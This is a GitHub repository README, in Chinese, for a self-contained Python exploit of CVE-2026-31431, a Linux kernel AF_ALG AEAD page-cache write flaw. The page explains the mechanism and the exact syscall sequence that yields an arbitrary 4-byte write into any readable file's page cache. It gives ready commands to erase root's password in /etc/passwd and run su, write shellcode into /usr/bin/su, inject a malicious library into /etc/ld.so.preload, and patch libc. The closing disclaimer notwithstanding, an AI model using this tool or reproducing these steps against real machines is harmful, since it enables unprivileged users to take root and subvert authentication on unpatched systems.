Sndav/CVE-2026-31431-Advanced-Exploit
GitHub: Sndav/CVE-2026-31431-Advanced-Exploit
利用 Linux 内核 AF_ALG AEAD 子系统的散列表链接错误,实现对任意可读文件页缓存的越权写入,从而完成本地提权的漏洞利用工具。
Stars: 71 | Forks: 23
# CVE-2026-31431 — Copy Fail
**Linux 内核页缓存越权写入漏洞 (AF_ALG AEAD 散列表链错误)**
## 概述
Linux 内核 `algif_aead` 接口存在一个漏洞,允许**无特权用户**向任意**可读文件**的页缓存(page cache)写入任意数据——完全绕过文件权限检查、强制访问控制(MAC)以及完整性校验。
磁盘上的文件内容不会改变,但此后所有读取该文件的进程(包括 SUID 程序、动态链接器、`execve()` 等)都会看到攻击者篡改后的版本,直到页缓存被回收。
## 影响范围
| 项目 | 说明 |
|---|---|
| 子系统 | `crypto/algif_aead.c` |
| 算法 | `authencesn(hmac(sha256),cbc(aes))` |
| 内核配置 | `CONFIG_CRYPTO_USER_API_AEAD=y/m`(几乎所有主流发行版默认启用) |
| 所需权限 | **无** — 只要对目标文件有读权限即可 |
| 危害等级 | 本地提权 → **root** |
| 受影响发行版 | Ubuntu、Debian、Fedora、RHEL、Arch、openSUSE 等 |
## 漏洞原理
### 简要说明
通过 `AF_ALG` 执行 AEAD 解密时:
1. 用户态通过 `sendmsg()` + `MSG_MORE` 发送关联认证数据(AAD),其中包含攻击者控制的 4 字节 `seqno_lo`。
2. 通过 `splice()` 将目标文件的页缓存页面注入到内核加密子系统的发送散列表(TX SGL)中。
3. 内核构建**目标散列表**(dst SGL)时,将接收缓冲区与页缓存页面通过 `sg_chain` 链接在一起。
4. `authencesn` 算法将 `seqno_lo` 写入目标散列表偏移 `assoclen + cryptlen` 处——该位置**越过接收缓冲区,直接落入链接的页缓存页面**。
5. 此写入发生在 HMAC 校验**之前**。HMAC 失败后内核返回 `EBADMSG` 错误,但页缓存已被篡改。
### 数据流图
sendmsg (AAD) splice (文件页面)
│ │
▼ ▼
┌──────────┐ sg_chain ┌──────────────────────┐
│ RX 缓冲区 │─────────────▶│ 页缓存页面 │
│ 8 字节 │ │ (文件内容) │
└──────────┘ └──────────────────────┘
▲
│
authencesn 在此写入 seqno_lo
偏移 = assoclen + cryptlen
════ 这就是漏洞所在 ════
### 关键点
- `seqno_lo` 的 4 字节完全由攻击者在 AAD 中控制(**写什么**)
- `splice` 的长度决定了写入在页缓存中的偏移(**写哪里**)
- 两者结合 = 对任意可读文件页缓存的**任意 4 字节写入原语**
## 使用方法
### 快速提权
# 篡改 /etc/passwd 页缓存,移除 root 密码,自动执行 su root
./exploit.py escalate
执行过程:
1. 将 `/etc/passwd` 原始内容备份到 `/tmp/.passwd.bak`
2. 在页缓存中将 `root:x:0:0:root:...` 修改为 `root::0:0:root :...`
3. 自动调用 `su root`(无需密码)
输出示例:
[*] CVE-2026-31431 — Copy Fail
[*] Mode: remove root password via /etc/passwd
[*] Backup: /tmp/.passwd.bak
[*] Before : root:x:0:0:root:/root:/bin/bash
[*] After : root::0:0:root :/root:/bin/bash
[*] Offset : 0
[0x000000] 726f6f74 root
[0x000004] 3a3a303a ::0:
[0x000008] 303a726f 0:ro
[0x00000c] 6f742020 ot
[0x000010] 3a2f726f :/ro
[0x000014] 6f743a2f ot:/
[0x000018] 62696e2f bin/
[0x00001c] 62617368 bash
[+] Success: root::0:0:root :/root:/bin/bash
[*] Recovery: echo 3 > /proc/sys/vm/drop_caches
[*] Running: su root (no password needed)
### 通用:任意页缓存写入
# 基本语法
./exploit.py write <文件路径> <偏移量> <数据>
# 从二进制文件读取 payload
./exploit.py write <文件路径> <偏移量> @payload.bin
#### 使用示例
# 将 shellcode 写入 SUID 程序的入口点
./exploit.py write /usr/bin/su 0x1040 @shellcode.bin
# 注入预加载库路径
./exploit.py write /etc/ld.so.preload 0 '/tmp/evil.so\n'
# 篡改 libc 函数(例如让 getuid() 返回 0)
./exploit.py write /usr/lib/libc.so.6 0x284a0 '\x31\xc0\xc3\x90'
## 约束条件
| 约束 | 说明 |
|---|---|
| **读权限** | 目标文件必须对当前用户可读(`O_RDONLY`) |
| **对齐** | 每次写入 4 字节;不足 4 字节的尾部用 `0x90` 填充 |
| **文件大小** | 文件大小必须 ≥ `偏移量 + 数据长度 + 4` 字节 |
| **仅页缓存** | 磁盘上的文件内容**不会**被修改 |
| **持久性** | 页缓存被回收或手动清除前一直有效 |
| **内核配置** | 需要 `AF_ALG` + `authencesn` 可用(主流发行版默认具备) |
## 恢复方法
# 方法一:清除所有页缓存,恢复磁盘上的原始内容
echo 3 > /proc/sys/vm/drop_caches
# 方法二:重启
reboot
## 内部技术细节
### AF_ALG 套接字初始化
socket(AF_ALG, SOCK_SEQPACKET, 0)
→ bind("aead", "authencesn(hmac(sha256),cbc(aes))")
→ setsockopt(SOL_ALG, ALG_SET_KEY, authenc_密钥blob)
→ setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4)
→ accept() → 请求 fd
### 密钥结构(authenc key blob)
┌─────────────────────────────────────────────┐
│ rta_len (2B) │ rta_type (2B) │ enckeylen (4B) │
│ 0x0008 │ 0x0001 │ 0x00000010 │
├─────────────────────────────────────────────┤
│ 认证密钥 (16 字节全零) │
├─────────────────────────────────────────────┤
│ 加密密钥 (16 字节全零) │
└─────────────────────────────────────────────┘
密钥值无关紧要——HMAC 必然失败,但越权写入在校验之前已完成。
### 单次 4 字节写入流程
步骤 1: sendmsg(req_fd,
AAD = [seqno_hi(4B) | seqno_lo(4B)], ← seqno_lo = 要写入的值
cmsg = [OP=DECRYPT, IV=全零, ASSOCLEN=8],
flags = MSG_MORE)
步骤 2: pipe_r, pipe_w = pipe()
步骤 3: splice(target_fd → pipe_w, count = file_offset + 4, offset_src = 0)
步骤 4: splice(pipe_r → req_fd, count = file_offset + 4)
步骤 5: recv(req_fd, ASSOC_LEN + file_offset)
→ 触发 authencesn 解密
→ seqno_lo 被写入 dst SGL 偏移 assoclen + cryptlen
→ 该偏移落在页缓存页面的 file_offset 处
→ HMAC 失败, 返回 EBADMSG
→ 页缓存已被篡改 ✓
### 偏移计算
dst SGL 布局:
[0 .. 7] → RX 缓冲区 (AAD 接收区)
[8 .. 8 + file_offset + 3] → 页缓存页面 (splice 注入)
seqno_lo 写入位置:
dst[assoclen + cryptlen]
= dst[8 + file_offset]
= 页缓存中 file_offset 处
∴ 攻击者控制 file_offset → 控制写入位置
攻击者控制 seqno_lo → 控制写入内容
## 文件结构
.
├── exploit.py # 自包含漏洞利用脚本(仅需 Python 3 + Linux)
└── README.md # 本文件
## 利用场景一览
| 攻击路径 | 目标文件 | 效果 |
|---|---|---|
| 移除 root 密码 | `/etc/passwd` | `su root` 无需密码 |
| 注入预加载库 | `/etc/ld.so.preload` | 所有程序加载恶意 `.so` |
| 篡改 SUID 程序 | `/usr/bin/su` 等 | 执行 shellcode 获取 root shell |
| 篡改 libc | `/usr/lib/libc.so.6` | 劫持 `getuid()` 等函数返回 0 |
| 篡改 PAM 模块 | `/usr/lib/security/pam_unix.so` | 绕过所有认证 |
| 篡改 sudo | `/usr/bin/sudo` | 任意用户直接获得 root |
## 免责声明
本工具仅用于授权的安全研究和渗透测试。未经授权使用本工具攻击他人系统属于违法行为。使用者应自行承担所有法律责任。
标签:0day挖掘, 0day漏洞, AEAD, AF_ALG, crypto子系统, CSV导出, CVE-2026-31431, Fedora漏洞, Linux内核漏洞, RHEL漏洞, SUID提权, Ubunto提权, Web报告查看器, 任意文件写入, 内核安全, 内核攻击, 提权漏洞, 散列表链错误, 文件完整性破坏, 无特权利用, 本地提权, 漏洞分析, 绕过MAC, 绕过文件权限, 网络安全, 路径探测, 隐私保护, 页缓存越权写入